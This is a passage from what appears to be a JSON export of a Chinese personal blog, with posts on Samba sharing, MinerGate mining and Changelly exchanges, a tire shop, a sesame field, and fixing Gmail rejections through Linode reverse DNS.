目錄時，就輸入剛剛設定的 Samba 密碼。\n經過認證登入之後，就可以讀取或是寫入樹莓派中的目錄與檔案了。\n透過 Samba 分享的目錄與檔案除了 Windows 可以存取之外，在 Mac OS X 與 Linux 系統上也可以使用，只不過網址的寫法有些不同，在 Mac OS X 與 Linux 中要這樣寫：\nsmb://192.168.0.150/pi 參考資料 葉難 沉思的伊文 ","permalink":"https://blog.gtwang.org/iot/raspberry-pi-samba-setup-tutorial/","summary":"\u003cp\u003e這裡介紹如何在樹莓派中安裝與設定 Samba 服務，以網路芳鄰的方式將目錄與檔案分享給網路上的 Windows 電腦。\u003c/p\u003e\n\u003cp\u003e如果要將樹莓派中的檔案分享給附近的 Windows 系統，最方便的做法就是透過網路芳鄰的方式，讓 Windows 直接在檔案總管中就可以使用，而在 Linux 系統上若要使用網路芳鄰的功能就要安裝 Samba 服務，以下介紹樹莓派安裝與設定 Samba 伺服器的步驟，讓我們可以在 Windows 系統上直接使用樹莓派上面的檔案。\u003c/p\u003e","title":"樹莓派 Raspberry Pi 設定 Samba 網路芳鄰分享檔案教學"},{"content":"本篇介紹如何使用 Changelly 虛擬貨幣兌換服務，將 MinerGate 挖礦所獲得的錢領出來，並轉換成自己習慣使用的貨幣，存入錢包中。\nMinerGate 是一個綜合型的礦池，可以挖各式各樣的虛擬貨幣，而挖礦的所得可以直接領出來到錢包中，或是透過線上兌換貨幣的服務將各種貨幣轉為自己習慣使用的貨幣。\n以下是使用 Changelly 這個虛擬貨幣兌換服務，將 Bytecoin 轉為比特幣，然後存入比特幣錢包的步驟。\nStep 1\n首先從 CoinGecko 觀察一下近期各種貨幣的匯率走勢，決定兌換貨幣的時機，以及兌換貨幣的幣別。\nStep 2\n決定兌換的貨幣之後，打開 Changelly 的網頁，用自己的 Email 註冊一下，登入之後，輸入想要兌換的幣別與金額，這裡我示範將 MinerGate 的 Bytecoin 轉為比特幣。\nStep 3\n接著會顯示預估兌換後所得的金額，以及要支付的手續費。\nStep 4\n輸入自己的錢包位址，Changelly 會將兌換之後的貨幣存入這個錢包中。\nStep 5\n查詢自己的比特幣錢包位址，不同的錢包介面可能有些差異，不過都一定會有查詢錢包位址的地方，這裡我以 BitGo 來做示範，登入之後選擇要匯入貨幣的錢包。\nStep 6\n將錢包的位址複製下來，錢包的位址通常是一串雜湊（hash）碼。\nStep 7\n將 BitGo 的錢包位址貼在 Changelly 的錢包位址欄位中。\nStep 8\n確認所有的估算金額，還有兌換的手續費。這裡我拿 1000 Bytecoins 換成比特幣，要支付 0.5% 加上 0.0004 BTC 的手續費。\nStep 9\n接著 Changelly 會顯示一個匯款的位址，請將自己要兌換的貨幣匯入這個位址。\nStep 10\n打開 MinerGate 的 dashboard，點選貨幣的「Withdraw」提款。\nStep 11\n填入正確的金額，並將剛剛 Changelly 提供的匯款位址貼上去，點選「Withdraw」進行提款。\nStep 12\n確認有出現「Withdrawal successfully created」的成功訊息。\nStep 13\n在 MinerGate 的「Withdrawal history」記錄中，檢查提款進行的情況，剛送出時的狀態會是等待中（pending）。\n此時 Changelly 會顯示「Waiting for your payment」，等待付款。\nStep 14\n等到 MinerGate 顯示「sent」之後，就表示已經款項已經匯出了。\nStep 15\n付款之後，要等待交易的確認，這還需要再等幾分鐘。\nStep 16\n完成付款的確認之後，會自動進行兌換，並將兌換出來的貨幣匯入自己的錢包。\nStep 17\n完成後，會顯示實際兌換的金額與手續費。\nStep 18\n這時候在錢包中就會出現一筆顯示為「Pending」的匯款交易。\n我們可以從這筆交易的細部資料中查詢交易的細節。\nTradeBlock 上面可以看到更詳細的交易資料。\nStep 19\n等到「Pending」訊息消失之後，就表示交易的確認已經完成了。\n這是 TradeBlock 上面的交易資料，原本的「Unconfirmed」也消失了。\nStep 20\n這樣就完成 MinerGate 虛擬貨幣的兌換與匯款了。\n","permalink":"https://blog.gtwang.org/funny/changelly-exchange-cryptocurrency-from-minergate-tutorial/","summary":"\u003cp\u003e本篇介紹如何使用 \u003ca href=\"https://changelly.com?ref_id=4e88e04bc517\"\u003eChangelly\u003c/a\u003e 虛擬貨幣兌換服務，將 MinerGate 挖礦所獲得的錢領出來，並轉換成自己習慣使用的貨幣，存入錢包中。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/linux/minergate-mining-tool-tutorial/\"\u003eMinerGate\u003c/a\u003e 是一個綜合型的礦池，可以挖各式各樣的虛擬貨幣，而挖礦的所得可以直接領出來到錢包中，或是透過線上兌換貨幣的服務將各種貨幣轉為自己習慣使用的貨幣。\u003c/p\u003e","title":"Changelly 提領與兌換 MinerGate 貨幣教學"},{"content":"這裡介紹如何使用 MinerGate 這個綜合型的礦池來挖各種虛擬貨幣。\nMinerGate 是一家結合各種虛擬貨幣的綜合型礦池，我們可以動態選擇投資報酬率比較高的貨幣來挖礦，以下是簡單的使用教學，若要將 MinerGate 上面各種的貨幣轉換或提領出來，可以參考 Changelly 提領與兌換 MinerGate 貨幣教學，甚至也可以透過 MaiCoin 將挖礦的所得匯入台灣本地的銀行帳戶。\nMinerGate 有提供幾種常見作業系統的安裝檔，例如 Windows、Mac OS X、Ubuntu Linux、Fedora Linux，其他的 Linux 發行版也可以直接把 rpm 檔解開使用。\nMinerGate 的圖形介面設計的不錯，註冊、下載安裝後，填入自己的帳號，就可以開始挖礦了。\nMinerGate 的儀表板（Dashboard）中可以看到即時的挖礦數據，包含目前已經挖到的礦、有幾個礦工（active workers）正在挖、挖礦速度等。\n投資報酬計算器（Calculator）功能會幫您自動算出各種貨幣的挖礦報酬，輸入自己機器的計算能力之後，它就會顯示挖每一種貨幣一小時、一天與一週可以得到報酬。\n機器的運算能力可以直接從挖礦程式的輸出資訊上看到，也可以直接從 MinerGate 儀表板上查看總量。\n這個預估的報酬數值是使用目前市場上的匯率來計算的，只能當作參考，因為虛擬貨幣的匯率變動非常不穩定，有時候過了幾分鐘就會出現很大的差異。\nMinerGate 也支援好多種不同的挖礦程式，可以自由選擇適合自己機器的程式來用。\n視窗介面挖礦工具 視窗介面的挖礦工具適合一般的使用者來使用，下載安裝之後，執行時要先輸入自己註冊的帳號與密碼。\nMinerGate 預設會自動選擇投資報酬率最高（最短的運算時間取得最大獲利）的虛擬貨幣來挖礦。\n我們也可以自己設定要挖哪一些貨幣，並且使用幾顆 CPU 核心。\nMinerGate 的視窗介面程式也有提款功能，可以直接把挖到的貨幣領出來到錢包中。\nMinerGate 視窗介面程式中有一個標竿測試（benchmark）功能，可以測試自己的電腦效能如何。\n我用我的 iMac 測試，結果其效能比 MinerGate 使用者平均的效能好一點點（154%）。\nMinerGate 還設計很多任務勳章，每完成一個小任務就可獲得一個，所有任務都完成後，好像還有獎金（不過我沒有實際測試過）。\n命令列挖礦工具 我個人喜歡使用沒有圖形介面的命令列挖礦工具（console miner），這樣比較方便自己撰寫指令稿來操控，MinerGate 官方所提供的 minergate-cli 就很好用了，同時有支援 CPU 與 GPU 運算，而且它都已經編譯好了，直接下載安裝就可以使用。\n如果是使用其他 MinerGate 沒有直接支援的 Linux 系統，可以下載 Fedora 的 rpm 檔，解開之後使用：\nrpm2cpio your_package.rpm | cpio -idmv 如果要使用 CPU 進行乙太幣的挖礦，指令為：\nminergate-cli --user guozhao.wang@gmail.com --eth 4 其中 --user 是指定挖礦的帳號，而 --eth 是指定挖乙太幣，若要換成其他的貨幣，就把這個參數改為對應的貨幣代碼即可（例如 Bytecoin 就是 --bcn），最後一個參數 4 是指定要使用的 CPU 核心數。\n在挖礦的時候，一定要能夠連上網路才行，如果自己的機器需要夠過代理伺服器才能連上網路，可以使用 --proxy 設定上網的代理伺服器：\nminergate-cli --user guozhao.wang@gmail.com --proxy socks://192.168.0.1:1080 --eth 4 minergate-cli 也支援使用 CUDA 的 GPU 設備，使用 GPU 運算前可以先查詢自己機器上的 GPU 設備：\nminergate-cli --list-gpu 這樣就會列出機器上所有的 GPU 設備：\nAvailable GPU devices: gpu1 GeForce GTX 1060 6GB gpu2 GeForce GTX 1060 6GB 若要使用 GPU 運算，minergate-cli 的參數大約是這樣：\nminergate-cli --user guozhao.wang@gmail.com --gpu1 eth --gpu2 bcn 這樣就會使用第一張 GPU 卡挖乙太幣（Ethereum），用第二張卡挖 Bytecoin。\n若要使用 CPU 與 GPU 同時挖好幾種貨幣，可以這樣寫：\nminergate-cli --user guozhao.wang@gmail.com --eth 6 --fcn+dsh 2 --gpu1 eth --gpu2 bcn 這是 minergate-cli 的輸出訊息，比較重要的訊息就是機器的計算能力，它會定時輸出目前各種貨幣挖礦的速度。\n若要查詢 NVIDIA 顯示卡的狀態，可以使用 nvidia-smi 這個指令工具查詢。\n","permalink":"https://blog.gtwang.org/linux/minergate-mining-tool-tutorial/","summary":"\u003cp\u003e這裡介紹如何使用 MinerGate 這個綜合型的礦池來挖各種虛擬貨幣。\u003c/p\u003e\n\u003cp\u003eMinerGate 是一家結合各種虛擬貨幣的綜合型礦池，我們可以動態選擇投資報酬率比較高的貨幣來挖礦，以下是簡單的使用教學，若要將 MinerGate 上面各種的貨幣轉換或提領出來，可以參考 \u003ca href=\"/funny/changelly-exchange-cryptocurrency-from-minergate-tutorial/\"\u003eChangelly 提領與兌換 MinerGate 貨幣教學\u003c/a\u003e，甚至也可以\u003ca href=\"/life/maicoin-sell-bitcoin-for-ntd-tutorial/\"\u003e透過 MaiCoin 將挖礦的所得匯入台灣本地的銀行帳戶\u003c/a\u003e。\u003c/p\u003e","title":"MinerGate 挖礦教學，支援比特幣、乙太幣等各種虛擬貨幣"},{"content":"本篇是我這週去台南瑞發輪胎，更換 Honda Accord 四個輪胎的過程紀錄。\n最近把我的 Honda Accord 開去台南仁翔汽車保養，發現我車子的四的輪胎都磨到差不多了，都要更換掉，透過親戚介紹到台南市的瑞發輪胎換輪胎。\n這家輪胎行開了幾十年了，老闆的技術與服務態度都非常好，許多汽車保養場的同業都會介紹客戶來這裡處理輪胎問題，若有需要換輪胎的人可考慮這家。\n店名：瑞發輪胎 Yokohama\n地址：台南市南區中華南路一段 21 號\n電話：(06) 289-9337\n營業時間：週一至週六 08：30 ～ 18：00\n備註：國定假日及星期日公休\n這家瑞發輪胎中華南路上，就在省道旁邊而已。\n這一家保養場也是橫濱輪胎（YOKOHAMA）的服務處，招牌上面有寫 YOKOHAMA，大大的招牌很好找。\n這裡也是國民旅遊卡的特約商店，有國民旅遊卡的人可以來這裡消費。\n這是我的 Honda Accord，一次換四個輪胎。\n這些是拆下來的舊輪胎與新輪胎。\n首先把舊的輪胎拆下來，換上新的。\n這是新裝上去的輪胎。\n這是四的舊汽車輪胎，四個輪胎都磨到差不多了。\n更換輪胎之後，接著校正輪胎動平衡。\n輪胎校正完後，還會幫忙清洗鋼圈。\n最後把新輪胎裝回去。\n一般的輪胎行通常把輪胎裝好就結束了，而瑞發輪胎在裝好之後，還會再把車子開出去，花個十分鐘到十五分鐘左右校正方向盤，我的 Honda Accord 之前的方向盤感覺都有微微的偏一邊，這次他們也幫我校正了。\n這家輪胎行的服務很周到，推薦大家換汽車輪胎可以找這一家。\n","permalink":"https://blog.gtwang.org/life/rui-fa-tires-yokohama-tainan-20170527/","summary":"\u003cp\u003e本篇是我這週去台南瑞發輪胎，更換 Honda Accord 四個輪胎的過程紀錄。\u003c/p\u003e\n\u003cp\u003e最近把我的 Honda Accord 開去台南仁翔汽車保養，發現我車子的四的輪胎都磨到差不多了，都要更換掉，透過親戚介紹到台南市的瑞發輪胎換輪胎。\u003c/p\u003e","title":"[台南] 瑞發輪胎 Yokohama 汽車保養場：個人 Honda Accord 換輪胎紀錄"},{"content":"本篇是台南西港黑芝麻開花與結果的紀錄。\n今年春季我們家的田在經過抽地下水灌溉、翻土並播種黑芝麻之後，再等待兩個月的成長過程，現在開花了，花謝了之後馬上又接著結果。\n","permalink":"https://blog.gtwang.org/agriculture/sesame-flowering-sigang-tainan-20170527/","summary":"\u003cp\u003e本篇是台南西港黑芝麻開花與結果的紀錄。\u003c/p\u003e\n\u003cp\u003e今年春季我們家的田在經過\u003ca href=\"/agriculture/extract-groundwater-and-irrigate-farmland-sigang-tainan-20170311/\"\u003e抽地下水灌溉\u003c/a\u003e、\u003ca href=\"/agriculture/sesame-sowing-sigang-tainan-20170319/\"\u003e翻土並播種黑芝麻\u003c/a\u003e之後，再等待\u003ca href=\"/agriculture/sesame-growth-sigang-tainan-201704/\"\u003e兩個月的成長過程\u003c/a\u003e，現在開花了，花謝了之後馬上又接著結果。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e\u003cimg alt=\"黑芝麻田\" loading=\"lazy\" src=\"/agriculture/sesame-flowering-sigang-tainan-20170527/sesame-flowering-sigang-tainan-20170527-01.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"黑芝麻田\" loading=\"lazy\" src=\"/agriculture/sesame-flowering-sigang-tainan-20170527/sesame-flowering-sigang-tainan-20170527-02.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"黑芝麻開花\" loading=\"lazy\" src=\"/agriculture/sesame-flowering-sigang-tainan-20170527/sesame-flowering-sigang-tainan-20170527-03.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"黑芝麻開花\" loading=\"lazy\" src=\"/agriculture/sesame-flowering-sigang-tainan-20170527/sesame-flowering-sigang-tainan-20170527-04.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"黑芝麻開花\" loading=\"lazy\" src=\"/agriculture/sesame-flowering-sigang-tainan-20170527/sesame-flowering-sigang-tainan-20170527-05.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"黑芝麻開花\" loading=\"lazy\" src=\"/agriculture/sesame-flowering-sigang-tainan-20170527/sesame-flowering-sigang-tainan-20170527-06.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"黑芝麻開花\" loading=\"lazy\" src=\"/agriculture/sesame-flowering-sigang-tainan-20170527/sesame-flowering-sigang-tainan-20170527-07.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"黑芝麻開花\" loading=\"lazy\" src=\"/agriculture/sesame-flowering-sigang-tainan-20170527/sesame-flowering-sigang-tainan-20170527-08.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"黑芝麻開花\" loading=\"lazy\" src=\"/agriculture/sesame-flowering-sigang-tainan-20170527/sesame-flowering-sigang-tainan-20170527-09.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"黑芝麻田\" loading=\"lazy\" src=\"/agriculture/sesame-flowering-sigang-tainan-20170527/sesame-flowering-sigang-tainan-20170527-10.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"黑芝麻開花\" loading=\"lazy\" src=\"/agriculture/sesame-flowering-sigang-tainan-20170527/sesame-flowering-sigang-tainan-20170527-11.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"黑芝麻開花\" loading=\"lazy\" src=\"/agriculture/sesame-flowering-sigang-tainan-20170527/sesame-flowering-sigang-tainan-20170527-12.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"黑芝麻開花\" loading=\"lazy\" src=\"/agriculture/sesame-flowering-sigang-tainan-20170527/sesame-flowering-sigang-tainan-20170527-13.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"黑芝麻開花\" loading=\"lazy\" src=\"/agriculture/sesame-flowering-sigang-tainan-20170527/sesame-flowering-sigang-tainan-20170527-14.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"黑芝麻開花\" loading=\"lazy\" src=\"/agriculture/sesame-flowering-sigang-tainan-20170527/sesame-flowering-sigang-tainan-20170527-15.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"黑芝麻田\" loading=\"lazy\" src=\"/agriculture/sesame-flowering-sigang-tainan-20170527/sesame-flowering-sigang-tainan-20170527-16.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"黑芝麻田\" loading=\"lazy\" src=\"/agriculture/sesame-flowering-sigang-tainan-20170527/sesame-flowering-sigang-tainan-20170527-17.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"黑芝麻開花\" loading=\"lazy\" src=\"/agriculture/sesame-flowering-sigang-tainan-20170527/sesame-flowering-sigang-tainan-20170527-18.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"黑芝麻果實\" loading=\"lazy\" src=\"/agriculture/sesame-flowering-sigang-tainan-20170527/sesame-flowering-sigang-tainan-20170527-19.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"黑芝麻果實\" loading=\"lazy\" src=\"/agriculture/sesame-flowering-sigang-tainan-20170527/sesame-flowering-sigang-tainan-20170527-20.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"黑芝麻果實\" loading=\"lazy\" src=\"/agriculture/sesame-flowering-sigang-tainan-20170527/sesame-flowering-sigang-tainan-20170527-21.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"黑芝麻果實\" loading=\"lazy\" src=\"/agriculture/sesame-flowering-sigang-tainan-20170527/sesame-flowering-sigang-tainan-20170527-22.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"黑芝麻果實\" loading=\"lazy\" src=\"/agriculture/sesame-flowering-sigang-tainan-20170527/sesame-flowering-sigang-tainan-20170527-23.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"黑芝麻果實\" loading=\"lazy\" src=\"/agriculture/sesame-flowering-sigang-tainan-20170527/sesame-flowering-sigang-tainan-20170527-24.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"黑芝麻果實\" loading=\"lazy\" src=\"/agriculture/sesame-flowering-sigang-tainan-20170527/sesame-flowering-sigang-tainan-20170527-25.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"黑芝麻開花與果實\" loading=\"lazy\" src=\"/agriculture/sesame-flowering-sigang-tainan-20170527/sesame-flowering-sigang-tainan-20170527-26.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"黑芝麻果實\" loading=\"lazy\" src=\"/agriculture/sesame-flowering-sigang-tainan-20170527/sesame-flowering-sigang-tainan-20170527-27.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"黑芝麻果實\" loading=\"lazy\" src=\"/agriculture/sesame-flowering-sigang-tainan-20170527/sesame-flowering-sigang-tainan-20170527-28.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"黑芝麻果實\" loading=\"lazy\" src=\"/agriculture/sesame-flowering-sigang-tainan-20170527/sesame-flowering-sigang-tainan-20170527-29.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"黑芝麻果實\" loading=\"lazy\" src=\"/agriculture/sesame-flowering-sigang-tainan-20170527/sesame-flowering-sigang-tainan-20170527-30.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"黑芝麻果實\" loading=\"lazy\" src=\"/agriculture/sesame-flowering-sigang-tainan-20170527/sesame-flowering-sigang-tainan-20170527-31.jpg\"\u003e\u003c/p\u003e","title":"[台南西港] 黑芝麻開花結果紀錄，2017 年春季"},{"content":"本篇記錄我修正 Linode 郵件伺服器沒有 PTR 記錄，被 Google 擋信問題的過程。\n最近發現自己的 WordPress 網站好像都沒辦法寄信，於是從 Linux 系統上用 mail 指令發了一封測試信件：\ndate | mail -s test guozhao.wang@gmail.com 結果真的發不出去，在系統上收到 GMail 退回來的信件，完整的內容如下：\nDate: Fri, 26 May 2017 11:32:33 +0800 From: Mail Delivery System \u0026lt;Mailer-Daemon@linode01.gtwang.org\u0026gt; To: seal@linode01.gtwang.org Subject: Mail delivery failed: returning message to sender This message was created automatically by mail delivery software. A message that you sent could not be delivered to one or more of its recipients. This is a permanent error. The following address(es) failed: guozhao.wang@gmail.com SMTP error from remote mail server after end of data: host gmail-smtp-in.l.google.com [2404:6800:4003:c01::1b]: 550-5.7.1 [2400:8901::f03c:91ff:fe67:98b] Our system has detected that this 550-5.7.1 message does not meet IPv6 sending guidelines regarding PTR records 550-5.7.1 and authentication. Please review 550-5.7.1 https://support.google.com/mail/?p=IPv6AuthError for more information 550 5.7.1 . e6si11179112pgf.386 - gsmtp ------ This is a copy of the message, including all the headers. ------ Return-path: \u0026lt;seal@linode01.gtwang.org\u0026gt; Received: from seal by linode01.gtwang.org with local (Exim 4.82) (envelope-from \u0026lt;seal@linode01.gtwang.org\u0026gt;) id 1dE5zM-0006Xx-6E for guozhao.wang@gmail.com; Fri, 26 May 2017 11:32:32 +0800 Date: Fri, 26 May 2017 11:32:32 +0800 To: guozhao.wang@gmail.com Subject: test User-Agent: Heirloom mailx 12.5 6/20/10 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: \u0026lt;E1dE5zM-0006Xx-6E@linode01.gtwang.org\u0026gt; From: Guo-Tzau Wang \u0026lt;seal@linode01.gtwang.org\u0026gt; Fri May 26 11:32:32 CST 2017 我用 dig 查了一下自己伺服器 IPv6 的反解（PTR）：\ndig -x 2400:8901::f03c:91ff:fe67:98b ; \u0026lt;\u0026lt;\u0026gt;\u0026gt; DiG 9.9.5-3ubuntu0.14-Ubuntu \u0026lt;\u0026lt;\u0026gt;\u0026gt; -x 2400:8901::f03c:91ff:fe67:98b ;; global options: +cmd ;; Got answer: ;; -\u0026gt;\u0026gt;HEADER\u0026lt;\u0026lt;- opcode: QUERY, status: NXDOMAIN, id: 56424 ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ;; QUESTION SECTION: ;b.8.9.0.7.6.e.f.f.f.1.9.c.3.0.f.0.0.0.0.0.0.0.0.1.0.9.8.0.0.4.2.ip6.arpa. IN PTR ;; AUTHORITY SECTION: 1.0.9.8.0.0.4.2.ip6.arpa. 83890 IN SOA ns1.linode.com. dns.linode.com. 2017052592 14400 14400 1209600 86400 ;; Query time: 1 msec ;; SERVER: 139.162.21.5#53(139.162.21.5) ;; WHEN: Fri May 26 11:45:22 CST 2017 ;; MSG SIZE rcvd: 155 結果真的是我自己沒有設定。\n由於這個反解要從主機商的 DNS 伺服器中修改，不同的虛擬主機商會有不同的作法，我的 WordPress 網站是使用 Linode VPS 架設的，所以要使用 Linode 所提供的 DNS 反解設定工具來設定。\n修正完成並且等待 DNS 紀錄更新之後，再查詢一次反解紀錄：\ndig -x 2400:8901::f03c:91ff:fe67:98b ; \u0026lt;\u0026lt;\u0026gt;\u0026gt; DiG 9.8.3-P1 \u0026lt;\u0026lt;\u0026gt;\u0026gt; -x 2400:8901::f03c:91ff:fe67:98b ;; global options: +cmd ;; Got answer: ;; -\u0026gt;\u0026gt;HEADER\u0026lt;\u0026lt;- opcode: QUERY, status: NOERROR, id: 40134 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 5, ADDITIONAL: 10 ;; QUESTION SECTION: ;b.8.9.0.7.6.e.f.f.f.1.9.c.3.0.f.0.0.0.0.0.0.0.0.1.0.9.8.0.0.4.2.ip6.arpa. IN PTR ;; ANSWER SECTION: b.8.9.0.7.6.e.f.f.f.1.9.c.3.0.f.0.0.0.0.0.0.0.0.1.0.9.8.0.0.4.2.ip6.arpa. 86029 IN PTR linode01.gtwang.org. ;; AUTHORITY SECTION: 1.0.9.8.0.0.4.2.ip6.arpa. 86029 IN NS ns1.linode.com. 1.0.9.8.0.0.4.2.ip6.arpa. 86029 IN NS ns2.linode.com. 1.0.9.8.0.0.4.2.ip6.arpa. 86029 IN NS ns5.linode.com. 1.0.9.8.0.0.4.2.ip6.arpa. 86029 IN NS ns4.linode.com. 1.0.9.8.0.0.4.2.ip6.arpa. 86029 IN NS ns3.linode.com. ;; ADDITIONAL SECTION: ns1.linode.com. 97521 IN A 162.159.27.72 ns1.linode.com. 97521 IN AAAA 2400:cb00:2049:1::a29f:1a63 ns2.linode.com. 7910 IN A 162.159.24.39 ns2.linode.com. 7910 IN AAAA 2400:cb00:2049:1::a29f:1827 ns3.linode.com. 97521 IN A 162.159.25.129 ns3.linode.com. 97521 IN AAAA 2400:cb00:2049:1::a29f:1981 ns4.linode.com. 97521 IN A 162.159.26.99 ns4.linode.com. 97521 IN AAAA 2400:cb00:2049:1::a29f:1b48 ns5.linode.com. 97521 IN A 162.159.24.25 ns5.linode.com. 97521 IN AAAA 2400:cb00:2049:1::a29f:1819 ;; Query time: 4 msec ;; SERVER: 140.110.96.1#53(140.110.96.1) ;; WHEN: Fri May 26 12:13:45 2017 ;; MSG SIZE rcvd: 443 設定伺服器的 DNS 反解之後，就可以正常寄信了，不過後來因為網站留言的通知信太多了，又被 Google 當成垃圾信擋掉：\nDate: Fri, 26 May 2017 12:54:32 +0800 From: Mail Delivery System \u0026lt;Mailer-Daemon@linode01.gtwang.org\u0026gt; To: www-data@linode01.gtwang.org Subject: Mail delivery failed: returning message to sender This message was created automatically by mail delivery software. A message that you sent could not be delivered to one or more of its recipients. This is a permanent error. The following address(es) failed: guozhao.wang@gmail.com SMTP error from remote mail server after end of data: host gmail-smtp-in.l.google.com [2404:6800:4003:c03::1b]: 550-5.7.1 [2400:8901::f03c:91ff:fe67:98b 7] Our system has detected that 550-5.7.1 this message is likely unsolicited mail. To reduce the amount of spam 550-5.7.1 sent to Gmail, this message has been blocked. Please visit 550-5.7.1 https://support.google.com/mail/?p=UnsolicitedMessageError 550 5.7.1 for more information. s3si29651575plb.315 - gsmtp ------ This is a copy of the message, including all the headers. ------ Return-path: \u0026lt;www-data@linode01.gtwang.org\u0026gt; Received: from www-data by linode01.gtwang.org with local (Exim 4.82) (envelope-from \u0026lt;www-data@linode01.gtwang.org\u0026gt;) id 1dE7Gh-0006ot-MW for guozhao.wang@gmail.com; Fri, 26 May 2017 12:54:31 +0800 To: guozhao.wang@gmail.com Subject: =?UTF-8?B?77y7Ry4gVC4gV2FuZ++8veiri+WvqeaguO+8muOAjOS9v+eUqCBPcA==?= +=?UTF-8?B?ZW5TU0wg5oiWIEdudVBHIOWKoOWvhuaqlOahiOiIh+ebrumMhO+8jA==?= =?UTF-8?B?55So5a+G56K85LiK6Y6W5L+d6K235qmf5a+G6LOH5paZ44CN?= X-PHP-Originating-Script: 33:class-phpmailer.php Date: Fri, 26 May 2017 04:54:31 +0000 From: WordPress \u0026lt;wordpress@blog.gtwang.org\u0026gt; Message-ID: \u0026lt;bd6823e588c9792cc8d5f2cdcba457e1@blog.gtwang.org\u0026gt; X-Mailer: PHPMailer 5.2.22 (https://github.com/PHPMailer/PHPMailer) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit [略] 後來直接把迴響的 Email 通知功能關掉，這樣就不會產生太多類似的 Email，浪費系統資源。\nwww-data 信件 由於長期被 Google 擋信，所有從 WordPress 發出又退回來的信件全部都送到系統的 www-data 帳號中，我檢查了一下 www-data 的信箱檔案，發現累積了不少信件：\nls -l /var/spool/mail/www-data -rw-rw---- 1 www-data mail 57913373 May 26 12:26 /var/spool/mail/www-data 因為 www-data 是系統用的帳號，它的信平常不會有人去看，正常來說我們應該要把 www-data 的信件轉寄到系統管理者的帳號下（我之前忘記了），設定的方式是修改 /etc/aliases 設定檔，加入一行：\nwww-data: gtwang 這樣以後所有寄給 www-data 的信，就會自動轉寄給 gtwang 這個帳號了。\n接著把 www-data 的舊信件刪掉：\nsudo rm /var/spool/mail/www-data 參考資料 Google ","permalink":"https://blog.gtwang.org/linux/linode-setting-reverse-dns-solving-gmail-ipv6-auth-error/","summary":"\u003cp\u003e本篇記錄我修正 Linode 郵件伺服器沒有 PTR 記錄，被 Google 擋信問題的過程。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e最近發現自己的 WordPress 網站好像都沒辦法寄信，於是從 Linux 系統上用 \u003ccode\u003email\u003c/code\u003e 指令發了一封測試信件：\u003c/p\u003e","title":"修正 Linode 郵件伺服器沒有 PTR 記錄，被 Google 擋信的問題"},{"content":"這裡示範如何設定 Linode VPS 虛擬專屬主機的 DNS 反解。\n一般在架設網站時，除了要設定 DNS 正解之外，反解也最好一起設定，若忘記設定 DNS 反解，在某些情況下可能會有一些小問題，最常見的狀況就是在寄送 Email 時被外部的伺服器當成垃圾郵件伺服器，直接把信擋掉。\n以下是在 Linode 中設定 DNS 反解的步驟。\nStep 1\n進入 Linode VPS 管理頁面，選擇「Remote Access」籤頁，點選「Reverse DNS」。\nStep 2\nLinode 在設定 DNS 反解之前，要先確認正解沒問題，才能設定反解。輸入自己主機的名稱（hostname），再按下「Look 